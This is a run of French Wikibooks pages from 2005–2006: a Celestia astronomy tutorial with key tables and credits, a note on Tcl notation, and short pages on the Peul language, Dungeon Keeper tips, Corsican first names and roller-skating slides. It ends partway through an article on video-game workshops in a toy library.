'''maj-←''' et '''maj-→''' pour parcourir la surface terrestre et voir la limite des zones éclairée et sombre, appelée le [[w:terminateur|terminateur]]. Vous pouvez survoler un point de la surface terrestre et le voir se déplacer dans la lumière du jour et l'ombre de la nuit. Appuyez '''Y''' pour synchroniser votre [[w:orbite|orbite]] avec la surface terrestre et rester en permanence au-dessus d'un même point de celle-ci : vous êtes ainsi en orbite géosynchrone. Mettez le curseur de la souris sur une région d'un pays et observez à cet endroit l'alternance du jour et de la nuit. C'est encore mieux si vous supprimez les nuages ('''I'''). (pour quitter l'orbite géosynchrone appuyez sur '''F''' et repassez en mode poursuite.) A nouveau en orbite géosynchrone, éloignez vous de la Terre avec la touche '''Fin''' afin de voir plus d'étoiles (utilisez la touche '''Orig''' pour vous en rapprocher à nouveau). En admirant les étoiles qui défilent, vous pouvez reconnaître des configurations particulières que les hommes imaginent représenter des formes ou des animaux. Appuyez sur '''/''' pour afficher les frontières des [[w:constellations|constellations]], et sur '''=''' pour reconnaître leur nom. La barre d'espace sert à figer le temps et vous permet de les contempler à votre aise. En enfonçant le bouton droit de la souris et en la déplaçant vers le haut vous dirigez votre regard plus vers le nord de l'[[w:écliptique|écliptique]] (le plan de l'orbite terrestre) et vous vous trouvez au-dessus du pôle sud terrestre. Vous devriez alors apercevoir l'[[w:étoile polaire|étoile polaire]] (au bout de la queue de la constellation de la Petite Ourse) autour de laquelle toutes les autres étoiles semblent tourner tandis qu'elle reste (presque) immobile. En conservant cet angle de vue, rapprochez vous plus près de la Terre ('''Orig''') et remarquez comment le jour et la nuit se projettent sur sa surface. Selon l'époque de l'année, la calotte glaciaire Antarctique reste en permanence éclairée ou obscure. Vous le verrez plus facilement en accélérant le temps 10000x. Vous pouvez accélérer plus encore (puis utilisez la touche '''K''' pour ralentir) pour sauter les saisons. == les autres planètes == Démarrez Celestia : Vous voyez la face de la [[w:Terre|Terre]] éclairée par le [[w:Soleil|Soleil]]. Nous voulons voir sa face obscure. Eloignez vous de la Terre avec la touche '''Fin''' jusqu'à ce qu'elle ait la taille d'un pois, puis contournez la avec '''maj-←''' et '''maj-→''' afin d'apercevoir le Soleil sur le fond d'étoiles. Vous verrez mieux la Terre si vous augmentez l'éclairage ambiant avec la touche '''}'''. Bien qu'artificiel cela permet une meilleur vision des [[w:planète|planètes]] qui luisent ainsi sur le fond noir (normalement seules les étoiles se comportent ainsi). Maintenant accélérez le temps un million de fois avec '''LLLLLL'''. Vous devriez apercevoir la [[w:Terre|Terre]] en orbite rapide autour de la Terre. Rapprochez-vous ou éloignez-vous ('''Orig'''/'''Fin''') jusqu'à ce que la [[w:Lune|Lune]] occupe toute la largeur de l'écran. Elle met 28 jours à boucler un tour de la Terre. En ralentissant avec '''K''' il doit vous être possible de compter le nombre de jour (de révolutions de la Terre sur elle-même) qu'il faut à la Lune pour qu'elle parcourre une révolution complète autour de la Terre. '''M''' affiche ou cache le nom de la Lune : Si vous voyez alors un amas de nom apparaître, il s'agit sans doute de ceux des satellites de Jupiter, qui en compte beaucoup, dans le lointain. Ralentissez à nouveau le temps un million de fois. Vous pourrez constater que lors de son parcours annuel, le Soleil est accompagné d'une collection de points brillants. C'est son cortège de planètes : le [[w:système solaire|système solaire]]. Affichez ou cachez leur nom avec '''P'''. Il est temps de quitter la Terre. Tapez '''HFC''' afin de centrer et de poursuivre le Soleil. Cachez les noms de planètes avec '''P'''. Eloignez vous un peu du Soleil et vous pourrez voir [[w:Mercure_(planète)|Mercure]], [[w:Vénus_(planète)|Vénus]], la [[w:Terre|Terre]], et [[w:Mars_(planète)|Mars]] se déplaçant de part et d'autre du [[w:Soleil|Soleil]] au cours de leur [[w:orbite|orbite]] autour de lui. En vous reculant encore 9 planètes seront visibles. Les plus externes ne semblent pas se déplacer, sauf si vous accélérez un peu leur mouvement avec '''L'''. Le [[w:temps|temps]] s'écoule maintenant d'une année pour 4 secondes écoulées. Visualisez donc les orbites planétaires - appuyez sur '''O'''. Elle ne sont pas très clairement visibles ainsi, à moins que vous n'enfonciez le bouton droit de la souris et la déplaciez vers le bas jusqu'à ce qu'elles apparaissent circulaires vues par dessus. L'ensemble des orbites ne peut être vu en même temps - si vous vous reculez suffisamment pour atteindre l'orbite de [[w:Pluton|Pluton]], celles des planètes intérieures disparaissent. Si vous vous rapprochez pour distinguer les [[w:orbite|orbites]] des planètes intérieures celles des planètes extérieures sortent de l'écran. Avec le bouton droit et en déplaçant la souris, une vue de côté montre que toutes les orbites planétaires sont à peu près dans le même plan, à l'exception de [[w:Pluton_(planète)|Pluton]]. Quand [[w:Jupiter_(planète)|Jupiter]] passe, vous pouvez noter que de nombreuses orbites de [[w:Satellites_naturels_de_Jupiter|satellites]] sont dessinées autour de lui. [[w:Jupiter_(planète)|Jupiter]] possède beaucoup de lunes : quatre d'entre elles, [[w:Lune_galiléenne|les lunes galiléennes]] sont assez grosses pour être observées depuis la [[w:Terre|Terre]] avec de simples jumelles. Maintenant un rapide parcours. Il vaut mieux afficher les orbites, et accélérer le temps 1000x ('''K''','''L'''). Visitez les neuf [[w:Planète|planètes]] en tapant '''1G''', '''2G''' etc. Utilisez '''Orig''' et '''Fin''' (ou la roulette de la souris) pour zoomer, et le bouton droit plus déplacement de la souris pour varier le point de vue et bien voir chaque [[w:planète|planète]]. Lors de la visite des planètes extérieures, contemplez les par dessus : vous vous rendrez compte alors qu'elles ressemblent à de petits systèmes solaires avec leurs [[w:Satellite_naturel|lunes]] : ça vaut le coup d'oeil. De temps en temps de petits points noirs traversent la face éclairée de [[w:Jupiter_(planète)|Jupiter]] - c'est l'ombre d'une de ses [[w:Satellites_naturels_de_Jupiter|satellites]] lorsqu'il passe entre Jupiter et le [[w:Soleil|Soleil]]. == Les autres étoiles == Toutes les [[w:étoiles|étoiles]] ne ressemblent pas au [[w:Soleil|Soleil]]. Certaines sont plus [[w:étoiles#sa_température|chaudes]] ou plus [[w:étoiles#sa_température|froides]], plus grosses ou plus petites, plus lumineuses ou plus sombres, plus rouges ou plus bleues. Normalement les plus bleues sont plus chaudes et les plus rouges sont plus froides. Il vous est impossible de dire à quelle distance se situe une étoile seulement en la regardant. C'est ce qui a permis d'inventer les [[w:constellations|constellations]], en traçant des lignes imaginaires entre des étoiles qui, en réalité, sont situées à des distances très différentes les unes des autres. Un démonstration évidente de ceci est la déformations des constellations quand vous les regardez d’un autre endroit que le système solaire ou sous un autre angle de vue. Affichez le trace des [[w:constellations|constellations]] ('''/''') et utilisez '''point''' et '''virgule''' pour ajuster le champ de vision aux environs de 60°. Centrez une étoile de la constellation de la ''rande Ourse'' en appuyant sur ('''entrée'''), tapez le nom ''megrez'' puis ('''entrée''') à nouveau. Ensuite appuyez '''CF''' pour se centrer sur elle et la poursuivre cette [[w:étoile|étoile]]. Maintenez enfoncé le bouton droit de la souris et déplacez la pour modifier la vue. Affichez puis cachez le tracé des [[w:constellations|constellations]]. La conformation en trois dimensions des étoiles devient évidente. Si vous vous déplacez à l’arrière du ''grand chariot'' toutes les tracés des constellations vous sembleront converger vers un point : la [[w:Terre|Terre]]. Retournez vers le [[w:Soleil|Soleil]] en pressant '''HG'''. Il est intéressant de revenir au Soleil tout en continuant de regarder ''megrez'' – appuyez sur '''T''' pour maintenir ''megrez'' centré en vue, puis '''HG''' pour revenir à notre Soleil. Les [[w:constellations|constellations]] reprennent leur forme familière lorsque vous vous rapprochez du Soleil. Appuyez de nouveau sur '''T''' ou alors sur '''Ech''' pour abandonner la vue de ''megrez''. [[w:Arcturus_(étoile)|Arcturus]] dans la constellation du ''Bouvier'' est aussi une étoile intéressante. Les [[w:étoiles|étoiles]] qui dessinent les [[w:constellations|constellations]] sont bien sur toutes visibles depuis notre [[w:Terre|Terre]] et sont les plus proches de chez nous. Affichez donc le tracé des constellations et reculez en prenant de la distance (maintenez '''Fin''' enfoncée) jusqu’à ce que toutes les lignes tiennent sur l’écran. Augmentez le nombre d’étoiles affichées en maintenant ''']''' et en fixant la magnitude limite à 10. Reculez encore un peu pour contempler notre Galaxie (la ''Voie lactée'') à l’écran, puis maintenez enfoncé le bouton droit de la souris et déplacez la pour voir la [[w:galaxie|galaxie]] par la tranche. Vous constaterez alors que les étoiles dans Celestia forment une sphère autour du soleil car les distances au soleil de chaque étoile de la [[w:galaxie|galaxie]] ne sont pas connues avec assez de précision pour que le programme Celestia les place à leur position . Diminuez la magnitude limite vers 10 en appuyant sur '''['''. Envolez-vous vers une [[w:galaxie|galaxie]] semblable à la notre, la [[w:M31|galaxie d'andromède]] en saisissant ('''entrée''') '''M31''' ('''entrée''') '''G''' et revenez avec '''H3G'''. Celestia:Time Control 3916 15388 2005-06-09T20:38:38Z 83.198.11.145 [[Celestia]]|Celestia:Controle du temps ---- Voici les touches qui servent dans [[Celestia]] à contrôler l'écoulement du temps == Table des touches de contrôle du temps == {| border="1" cellpadding="3" | <h3>Touche</h3> || <h3>Fonction</h3> |- | J || Inverse l'écoulement du temps |- | K || Accélére 10x l'écoulement du temps |- | L || Ralentit 10x l'écoulement du temps |- | Barre d'espace || Fige l'écoulement du temps |- | ! || Utilise la date et l'heure du micro-ordinateur |- | ? || Tient compte du temps mis par la lumière pour aller de l'objet sélectionné à l'observateur |- | - || Omet le temps mis par la lumière pour aller de l'objet sélectionné à l'observateur |- | \ || Fixe l'écoulement du temps à son cours habituel |} Celestia:Acknowledgements 3917 15389 2005-06-07T20:57:26Z JihemD 346 [[Celestia]]|Celestia:Remerciements ---- Celestia a été créé par Chris Laurel. Le fichier AUTHORS de Celestia liste les personnes suivantes: Chris Laurel <claurel@www.shatters.net> Clint Weisbrod <cweisbrod@cogeco.ca> Fridger Schrempp <t00fri@mail.desy.de> Bob Ippolito <bob@redivi.com> Christophe Teyssier <chris@teyssier.org> Hank Ramsey <hramsey@users.sourceforge.net> Grant Hutchison <granthutchison@blueyonder.co.uk> ENGLISH below Other contributors to the Celestia software distribution are cited as follows in the README file: ...to be included here later with permission from Chris Authors who have generously contributed material from their previously written documentation to this wikibook include: * <i>none so far :-(</i> People who have made original contributions to this wikibook include: * <i>add yourself here if appropriate<i> Many other people have also made valuable contributions to the Celestia community in various ways. Those that deserve special mention here are: * <i>add deserving individuals (not yourself, of course!) with their permission here<i> And if we've inadvertantly left out anyone you think should be mentioned, please add them! Wikilivres:Revue de presse 3921 24074 2005-10-23T16:19:43Z Greudin 1 /* 2005 */ La '''revue de presse''' recense les articles concernant [[Wikilivres]], parus dans la presse écrite ou les émissions radiophoniques. Elle recense essentiellement les articles parus en français, toutefois quelques références majeures parues dans d'autres langues sont également citées. ''NB : Ajoutez le lien externe direct vers l'article, son titre et la source entre parenthèses.'' ==2005== *[http://www.tv-radio.com/ondemand/france_inter/WAM/WAM.ram Les wikibooks (France Inter) - realmedia vers 3:16] *[http://www.liberation.fr/page.php?Article=332875 Des manuels scolaires nouvelle ère (Libération)] *[http://thot.cursus.edu/rubrique.asp?no=22721 Wikilivres (Thot.cursus.edu)] *[http://www.pcentraide.com/index.php?showtopic=4114 Wikilivres ou l'enseignement gratuit (PC entraide)] *[http://www.infobourg.com/sections/actualite/actualite.php?id=9551 Des Wikilivres ! (l'Infobourg)] *[http://www.informanews.net/scripts/news.php/rc/3413/apres_wikipedia_voici_wikibooks.htm Après Wikipedia, voici Wikibooks (Informanews)] ==Liens externes== *[[w:Wikipédia:Revue de presse|Revue de presse]] de l'encyclopédie Wikipédia Wikilivres 3922 15393 2005-06-08T11:44:02Z Greudin 1 #REDIRECT[[Wikilivres:wikilivres]] Notation particulière de Tcl 3925 22014 2005-09-24T13:19:50Z Pfv2 445 corriger environ 5 fautes... Attention "parenthésage" n'existe pas! Tcl utilise une notation particulière pour indiquer les appels de fonctions. En mathématique, ainsi que dans la plupart des langages de programmation, on utilise la notation '''y = f(a,b)'''. Tcl a magnifiquement simplifié cette notation en mettant les parenthèses AVANT la fonction : '''set y [f a b]''' Autrement dit, en mathématique, on écrirait '''y = (f a b)''' c'est lumineux, car on comprend où commence la fonction (par le crochet "[" ) et où elle finit (par "]"). Les virgules ont également disparu ... S'il y a des appels de fonctions imbriquées, les parenthèses doivent être imbriqués, par exemple '''set z [g x [f a b]]''' ... en math '''z=g(x,f(a,b))''' Cette notation se rapproche évidemment de la notation utilisée dans les langages de scripts [[sh]], [[csh]], etc. mais là on écrit '''y = `f a b`''' avec des ` (accent grave) qui ne sont pas des parenthèses (ouvrantes et fermantes). Dans tout langage de programmation, il faut toujours faire la distinction entre la référence à la variable et le contenu de la variable. Lorsque l'on utilise une variable, disons '''X''', le fait que l'on parle de sa référence (ou son adresse) ou de son contenu dépend généralement de sa place dans l'instruction du langage de programmation. Ainsi en C on écrit '''X=Y''' ce qui signifie qu'on affecte à la variable '''X''' (on ne s'occupe pas de sa valeur) le contenu de la variable '''Y'''. '''X''' situé à gauche du signe "'''='''" est traité différemment de Y qui est à droite du signe "'''='''" (on ne s'intéresse qu'à sa valeur). En Tcl, (mis à part les raccourcis d'écriture décrits ci-dessous) c'est beaucoup plus logique ... Il existe la fonction '''set''' : '''[set X]''' est la fonction qui rend le contenu de la variable '''X''' '''set X 25''' permet d'affecter à '''X''' la valeur '''25''' '''[set X 25]''' , par extension fait les deux, elle affecte '''25''' à '''X''' et rend la valeur de '''X''', c'est-à-dire '''25''' ainsi '''x=y''' s'écrit '''set X [set Y]''' c'est logique ... mais un peu lourd. En Tcl on utilise le raccourci d'écriture '''$Y''' à la place de '''[set Y]''', '''set X [set Y]''' s'écrit alors '''set X $Y''' On utilise presque toujours '''$Y''' au lieu de '''[set Y]''' sauf quand il y a ambiguïté. On utilise aussi la notation '''${VARIAB}''' à la place de '''$VARIAB''' (ou canoniquement '''[set VARIAB]''') si ambiguïté. Pourquoi tout cela ? ... Pour pouvoir concaténer des chaînes de caractères de la manière la plus naturelle possible, en les juxtaposant. Par exemple : '''set Titre "Monsieur"''' '''set Prenom "Jean"''' '''set Nom "Martin"''' '''set Texte "$Titre $Prenom $Nom est l'heureux gagnant ..."''' Dans cet exemple les mots sont bien séparés par des espaces Prenons un exemple sans espaces '''set Rep "/usr/local/"''' '''set Fichier "$RepToto.txt"''' ne marche pas parce il semble qu'il y ait une variable de nom RepToto alors que ce qu'on voulait c'est (canoniquement) '''set Fichier "[set Rep]Toto.txt"''' ou (en raccourci sans ambiguïté), '''set Fichier "${Rep}Toto.txt''' pour bien faire la distinction entre la variable '''$Rep''' et le texte '''Toto.txt''' Pour finir ces histoires de notation ... un appel à une fonction se fait par '''set x [f $a $b]''' si l'on veut transmettre à '''f''' le contenu de '''a''' et '''b''' ou '''set z [h $a b]''' si l'on veut transmettre à '''h''' la valeur de '''a''' et la référence (ou adresse) de la variable '''b''' (pour que '''h''' la modifie, par exemple) on aurait dû écrire, canoniquement '''set z [h [set a] b]''' Enseignement du peul 3928 29929 2006-01-23T12:13:54Z Boly38 136 -cat Peul +cat Langue Le '''peul''' (également appelé ''pulaar'' ou ''fulfulde'') est une langue parlée dans une vingtaine d'États d'Afrique occidentale et centrale - des rives du Sénégal à celles du Nil - par les Peuls, peuple spécialisé dans l'élevage bovin. Comme le francais, le peul est une langue sujet-verbe-objet (SVO), quelquefois VSO. L'extension du peul sur un espace aussi vaste rend très difficile la détermination précise du nombre de locuteurs. Les estimations vont de 7 à 20 millions de personnes. Le peul se subdivise en de nombreuses variétés, qui sont habituellement regroupées en cinq grands ensembles géographiques : #les parlers du Fuuta-Tooro, dans le bassin inférieur du fleuve Sénégal, #ceux du Fuuta-Jallon, sur les hauts plateaux de la Guinée et sa périphérie, #ceux du Maasina, autour du delta intérieur du Niger, #les parlers centraux, du sud-est du Mali à la région de Dallol au Niger, #les parlers orientaux, dans l'ancien empire de Sokoto et les régions qui le bordent (Niger-Est, Nigeria, Cameroun, Tchad et République Centrafricaine). == Liens externes == * [[w:Peul|Peul]] (Wikipédia) * [[wikt:Catégorie:peul|Mots peuls dans Wiktionnaire]] * [http://fr.wiktionary.org/w/wiki.phtml?title=Special:Whatlinkshere&target=Mod%C3%A8le%3Aff Mots français traduits en peul] * [http://ff.wikipedia.org Wikipédia en peul] [[Catégorie:Langue|Peul]] Dungeon Keeper 3929 39973 2006-04-11T11:25:17Z 83.113.183.159 '''''[[w:Dungeon Keeper|Dungeon Keeper]]''''' est un jeu de stratégie de Peter Molyneux pour Bullfrog Productions sorti en 1997. == Astuces == * Changez la date de votre système d'exploitation pour un jour où la [[w:Phase lunaire|lune est pleine]], et lancez le jeu. Des niveaux bonus apparaitront, marqués par un drapeaux dans un cercle. * De même, pour les dates du 13 janvier, 21 mars, 3 mai, 5 mai, 13 novembre, 1 décembre, le jeu souhaitera un joyeux anniversaire à l'un des programmeurs. * Dans le menu principal, tapez « please give all » pour obtenir tous les créatures, tous les niveaux et tous les pièges. * Dans chaque niveau, n'hésitez pas à creuser partout pour découvrir des bonus cachés dans des coins. === Sacrifices === Lorsqu'on vous avez un puit pour faire des sacrifices, essayez les sacrifices suivants : {| cellpadding="4" cellspacing="4" style="border: 1px solid #CCCC99; background-color: #F1F1DE" |- || 1 Araignée + 1 scarabée || Donne une maîtresse noire |- || 1 Araignée + 1 mouche || Donne un sorcier |- || 1 Troll + 1 Démon Bileux || Donne un cerbère ou un démon bileux |- || 1 Troll + 1 Démon Bileux + 1 Maîtresse Noire || Donne un Démon Cornu |- || 1 Démon Cornu || Toutes vos créatures deviennent mécontentes |- || 1 Maîtresse Noire + 2 Démons Bileux || Transformer vos créatures en poulets durant un temps limité |- || 1 Fantôme || Tuer tous les poulets |- || 1 Poulet || Tous les poulets explosent |- || 2 Vampires || Toutes vos créatures deviennent malades |- || 2 Mouches || Terminer la recherche en cours |- || 2 Scarabées || Terminer la construction en cours dans l'atelier |- || 3 Araignées || Donne un démon bileux |- |} === Démons cornus === En dehors des combats, les démons cornus se battent avec les autres créatures. Il faut leur créer un secteur spécial (séparé du reste du donjon par une porte verrouillée) avec une salle au trésor, une salle de repos et un poulailler. Pour satisfaire un démon cornu, vous pouvez : * le mettre dans le Temple pour qu'il puisse prier * le déposer sur des cadavres (alliés ou ennemis) * le payer souvent (le déposer dans la salle du trésor) [[Catégorie:Jeu vidéo]] Modèle:Livre de cuisine 3931 46070 2006-06-27T18:49:14Z Nicombo 684 <div class="cuisine"> {|cellpadding="0" cellspacing="0" style="width:23%; padding: 0.3em; float:right; margin:0.5em; border: 1px solid #999; border-right-width: 2px; border-bottom-width: 2px; background:#F9F6D4; text-align:center" | <center>[[image:Icone_cuisine.jpg]]</center> |- |style="padding: 0.3em"| Cet article fait partie du<br/>[[Livre de Cuisine]] de Wikilivres |- |style="padding: 0.3em; font-family: sans-serif; font-size: 0.8em; background-color: #F4EEA1"| Recettes... |- |style="padding: 0.3em; line-height: 1.5em"| [[Cuisine:Entrées|Entrées]] · [[Cuisine:Recettes rapides|Recettes rapides]] · [[Cuisine:Recettes végétaliennes|Recettes végétaliennes]] · [[Cuisine:Recettes de pâtes|Recettes de pâtes]] · [[Cuisine:Recettes de la mer|Recettes de la mer]] · [[Livre de Cuisine/Tartes et pizzas|Tartes et pizzas]] · [[Cuisine:Recettes_au_fromage|Recettes au fromage]] · [[Cuisine:Accompagnements|Accompagnements]] · [[Cuisine:Desserts|Desserts]] |- |style="padding: 0.3em; font-family: sans-serif; font-size: 0.8em; background-color: #F4EEA1"| Techniques |- |style="padding: 0.3em; line-height: 1.5em"| [[Cuisine:Cuire au bain-marie|Cuire au bain-marie]] · [[Cuisine:Techniques_culinaires|Autres techniques]] |- |style="padding: 0.3em; font-family: sans-serif; font-size: 0.8em; background-color: #F4EEA1"| Gastronomie du monde |- |style="padding: 0.3em; line-height: 1.5em"| [[Cuisine:Recettes de cuisine française|Française]] · [[Cuisine:Recettes de cuisine italienne|Italienne]] · [[Cuisine:Recettes de cuisine espagnole|Espagnole]] · [[Cuisine:Recettes de cuisine grecque|Grecque]] · [[Cuisine:Recettes par pays|Recettes par pays]] |- |style="padding: 0.3em; font-family: sans-serif; font-size: 0.8em; background-color: #F4EEA1"| Voir aussi... |- |style="padding: 0.3em; line-height: 1.5em"| La [[:w:cuisine|cuisine]] sur Wikipédia |} </div> Celestia:Display Options 3934 15404 2005-06-09T21:33:54Z JihemD 346 [[Celestia]]|Celestia:Options d'affichage ---- Voici les touches qui servent dans [[Celestia]] à contrôler l'affichage == Table des touches de contrôle d'affichage des étiquettes == {| border="1" cellpadding="3" | <h3>Touche</h3> || <h3>Fonction</h3> |- | = || Affiche/cache les noms des constellations |- | B || Affiche/cache les noms des étoiles |- | E || Affiche/cache les noms des galaxies |- | M || Affiche/cache les noms de satellites |- | W || Affiche/cache les noms des astéroïdes et des comètes |- | N || Affiche/cache les noms des vaisseaux spatiaux |- | P || Affiche/cache les noms des planètes |- | & || Affiche/cache les noms de lieux |- | V || Affiche/cache les informations courantes |} == Table des touches de contrôle d'option d'affichage == {| border="1" cellpadding="3" | <h3>Touche</h3> || <h3>Fonction</h3> |- | I || Affiche/cache les nuages |- | U || Affiche/cache les galaxies |- | O || Affiche/cache les orbites planètaires |- | / || Affiche/cache le tracé des constellations |- | ; || Affiche/cache la sphères des coordonnées équatoriales terrestre |- | [ || Diminue le nombre d'étoiles visibles |- | ] || Augmente le nombre d'étoiles visibles |- | } || Augmente la luminosité ambiante |- | { || Diminue la luminosité ambiante |- | , || Rétrécit le champ de vision |- | . || Elargit le champ de vision |- | ← || Annule la selection courante |- | Ctrl+A || Affiche/cache les atmosphères |- | Ctrl+B || Affiche/cache les frontières des constellations |- | Ctrl+E || Affiche/cache les ombres projetées (Eclipses) |- | Ctrl+K || Affiche/cache les marqueurs |- | Ctrl+L || Affiche/cache les lumières sur les faces nocturnes de splanètes |- | Ctrl+P || Marque l'objet sélectionné |- | Ctrl+S || Modifie le rendu des étoiles : taches, points ou disques à l'échelle |- | Ctrl+T || Affiche/cache les queues cométaires |- | Ctrl+V || Change le mode de rendu OpenGL |- | Ctrl+W || Affiche ou cache les polygones |- | Ctrl+X || Bascule en mode anti-aliasing |- | Ctrl+Y || Adaptate le nombre d'étoile visible selon le champ de vision |- |} Prénoms corses 3940 43356 2006-05-28T21:13:26Z 81.64.160.170 {{Corse}} Liste non exhaustive de prénoms corses : * Orsu (Ours) * Ristituda (Restitude) * Petru (Pierre) * Paulu (Paul) * Paulina (Pauline) * Ghjacumu (Jacques) * Francescu (François) * Ghjuvanu/Ghjuvanina (Jean/Jeanne) * Felice (Felix) * Santu/Santa (Toussaint/Toussainte) * Saveriu/Saveria (Xavier/Xavière) * Luigi (Louis) * Stéfanu (Etienne) * Duménicu/Duménica (Dominique) * Marcu (Marc) * Lisandru (Alexandre) * Lisandrina (Alexandrine) * Ghjilormu (Jérome) * Ghjilormina (Jéromine) * Larenzu (Laurent) * Andria (André) * Antone (Antoine) * Maria (Marie) * Lèna (Hélène) * Bianca (Blanche) * Pantaléonu (Pantaléon) * Ghjiseppu/Ghjiasépina (Joseph/Josephine) * Anghjulina (Angélina) * Battistu (Baptiste) * Nunziu (Nonce) * Bartoloméo (Barthélémy) * Pasquale (Pascal) * Tumasgiu (Thomas) * Anghjulu (Ange) * Demetrius (Dimitri) * Chjara (Claire) * Ulivieru (Olivier) Roller : dérapage 3947 26547 2005-12-06T13:09:37Z Alenvers 896 /* ''UFO'' */ Import à partir de mon wiki : http://www.rollerbe.net/tipiwiki/index.php?wiki=Ufo [[Image:Roller-street-shuffle.jpg|thumb|right|300px|Dérapage parallèle]] L'art du '''dérapage''' ou '''''shuffle''''' consiste à effectuer le plus longtemps possible des figures tout en dérapant sur le sol. Les figures peuvent êtres variées à l'infini par des compositions ou des exécution en croisant les jambes (''cross''), sur un seul pied ou sur les extrémités des roues (''imperial''). Les techniques classiques dont la plupart des noms sont issus du roller agressif, sont : ==== Dérapage parallèle ou ''shifty flat'' ==== Le "Shifty flat" est exécuté jambes serrés avec les patins parallèles, il consiste à effectuer un virage de 90° très sec. Pour le réussir, il nécessite une bonne prise de carres. Le pied à l'intérieur du virage est sur la carre externe et le pied à l'extérieur du virage est sur la carre interne. La prise de carres doit permette de perdre l'adhérence au sol. Ce dérapage est la base de nombreux autres. Il est donc important de bien le maîtriser. ==== ''Acid flat'' ==== ''L'Acid flat'' consiste à faire glisser un pied perpendiculairement à la marche avant, la pointe du pied étant vers l'extérieur. Pour le réussir, il nécessite une bonne prise de carre externe sur le patin perpendiculaire à la marche, cette prise de carre doit se faire jusqu'à l'obtention de la glisse, il faut également abaisser le centre de gravité (c'est à dire plier la jambe d'appui). ==== ''Soul flat'' ==== [[Image:Roller-street-shuffle-soul.jpg|thumb|300px|Right|Le soul flat s'exécute au sol et non comme ici sur une main courante d'escalier (Grind soul en patins de fitness)]] Le ''Soul flat'' consiste à faire glisser un pied perpendiculairement au sens de la marche, la pointe du pied étant vers l'intérieur. Pour le réussir, il nécessite une bonne prise de carre interne sur le patin perpendiculaire au sens de la marche. Cette prise de carre doit se faire jusqu'à l'obtention de la glisse, il faut également abaisser le centre de gravité (c'est à dire plier la jambe d'appui). ==== ''Power slide'' ==== Lien wikipédia [[w:Freiner en power slide]] ==== ''UFO'' ==== Il s'agit d'un virage à 90° très sec. Pour réussir ce Shuffle, il est nécessaire : * d'avoir une bonne prise de Carres. Les 2 pieds doivent être sur les carres internes. Il faut avoir une prise de Carres qui permette de perdre l'adhérence au sol. L'Ufo est très stable et très aisé sur surface humide. Apprentissage : Ce Shuffle peut s'acquérir de 2 façon : * Partir d'un soul et ramener le pied arrière par après comme en T ; * Partir du Chasse Neige et effectuer une rotation de 90°. ==== L'aigle ou ''eagle slide'' ==== L'aigle est une figure exécutée soit de face (sur les carres externes), soit de dos (carres internes). Retour à l'[[apprentissage du roller]]. Quelle place pour le jeu vidéo en ludothèque ? 3949 20675 2005-09-06T09:31:21Z Bayo 329 Cet article, témoignage professionnel, présente la mise en place d'un atelier « [[jeu vidéo]] », proposé aux [[Enfant|enfants]] de six à quinze ans, à la ludothèque « La Ludicité » du centre social [[Marcel Paul]] à [[Sevran]]. Après une synthèse des recherches existantes sur ce média, les choix et les étapes de cette expérience seront décrits, et ses aspects positifs constatés. Le jeu vidéo pratiqué en groupe est un outil performant de [[communication]] intergénérationnelle et offre un potentiel formidable en termes de [[socialisation]]. De multiples phénomènes de [[coopération]] et de [[compétition]] entre enfants et [[Adolescent|adolescents]] ont été observés, et le [[jeu vidéo]] a aussi démontré son utilité en matière de valorisation de l'enfant et de rupture des stéréotypes. Enfin, un des points essentiels est le plaisir que procure ce type de [[jeu]] aux enfants que nous recevons. ==Avant propos== À « La Ludicité », [[ludothèque]] du centre social [[Marcel Paul]] à [[Sevran]], nous considérons que le [[jeu vidéo]] est une activité ludique à part entière, alors qu'il n'y a pas [[consensus]] sur la question. En effet, c'est une forme de [[jeu]] encore peu pratiquée dans ces structures. En tant que professionnels du jeu, notre objectif est de promouvoir la [[culture]] ludique sous toutes ses formes. Nous partons donc du principe que les jeux vidéo ne sont « ni bons ni mauvais » (bien que la polémique relayée par les [[médias]] pousse à prendre position de manière manichéenne sur le sujet). En revanche, ils présentent des aspects positifs et négatifs comme tout phénomène de société. Le but initial n'est donc pas de défendre le [[jeu vidéo]] à tout prix mais de le considérer comme un [[jeu]] et d'en tirer les ressources les plus intéressantes en termes de développement de l'individu. Après avoir établi un bilan de la [[recherche]] actuelle sur le jeu vidéo, nous permettant d'en connaître les risques physiologiques et comportementaux, nous avons analysé les différentes formes de [[jeu vidéo]] existantes. Enfin, nous avons déterminé quels jeux et quel cadre choisir pour répondre à nos attentes. Cet article, témoignage professionnel, présentera donc le travail préalable de mise en place et tentera de restituer les effets observés durant l'atelier. ==Mise en place de l'atelier jeu vidéo== Les objectifs généraux de l'atelier [[jeu vidéo]] de « La Ludicité » ont été définis comme tels : « donner à jouer », c'est-à-dire stimuler l'activité ludique sans la contraindre ; promouvoir le jeu vidéo et le faire reconnaître comme légitime au sein des ludothèques ; favoriser l'esprit associatif, les rencontres et les échanges ; donner du bien-être, dans une perspective [[hédonisme|hédoniste]] ; amener l'enfant vers une maîtrise du matériel [[informatique]] ; devenir un espace de référence sur le jeu vidéo. Ce dernier est cependant une activité ludique spécifique qui nous a amené à faire des recherches préventives aux risques [[Physiologie|physiologiques]] et [[Psychologie|psychologiques]]. ===Évaluation et prévention des risques physiologiques et psychologiques=== Les risques [[Épilepsie|épileptiques]] propres aux jeux vidéo sont les plus connus. Ils sont considérés comme facteurs déclenchant des crises chez les épileptiques photosensibles uniquement, soit 2 à 5% des épileptiques (Masnou, [[1999]]). Soit, seulement, de 0,01 à 0,05 % de la [[population française]]. Ces chiffres nous ont permis, certes de mesurer la gravité du phénomène, mais surtout son amplification médiatique. En réalité les [[Médecine|médecins]] conseillent de limiter la durée du jeu et d'intercaler ce dernier avec des pauses régulières. À la ludothèque de [[Sevran]] nous avons donc proposé des séances d'une heure, les pauses étant alors consacrées à des discussions engagées autour des jeux. Il existe d'autres risques physiologiques qu'il est important de prendre en considération : problèmes auditifs lors de l'utilisation de casques, douleurs dorsales dues aux postures peu convenables prises devant l'écran, risques ophtalmiques évitables grâce au maintien d'une distance raisonnable entre le joueur et l'écran. Les jeux vidéo ne sont pas un fléau engendrant une multitude de maladies. Il n'en demeure pas moins que leur pratique doit être soumise à notre vigilance. C'est pourquoi l'atelier jeu vidéo respecte au mieux ces recommandations médicales. Aux risques [[physiologie|physiologiques]] viennent s'adjoindre des risques [[psychologie|psychologiques]] dont nous devons aussi tenir compte préventivement. Le « phénomène jeu vidéo » comme toutes les marques de modernisme technique du XX{{e}} siècle, dont la télévision, engendre un énorme succès qui va de pair avec d'intenses craintes populaires. L'appréhension est surtout liée au fait que pour la première fois devant un écran, il est possible de participer. La fiction et le réel se rapprochent de plus en plus pour plonger le joueur dans un monde subjectif, mais 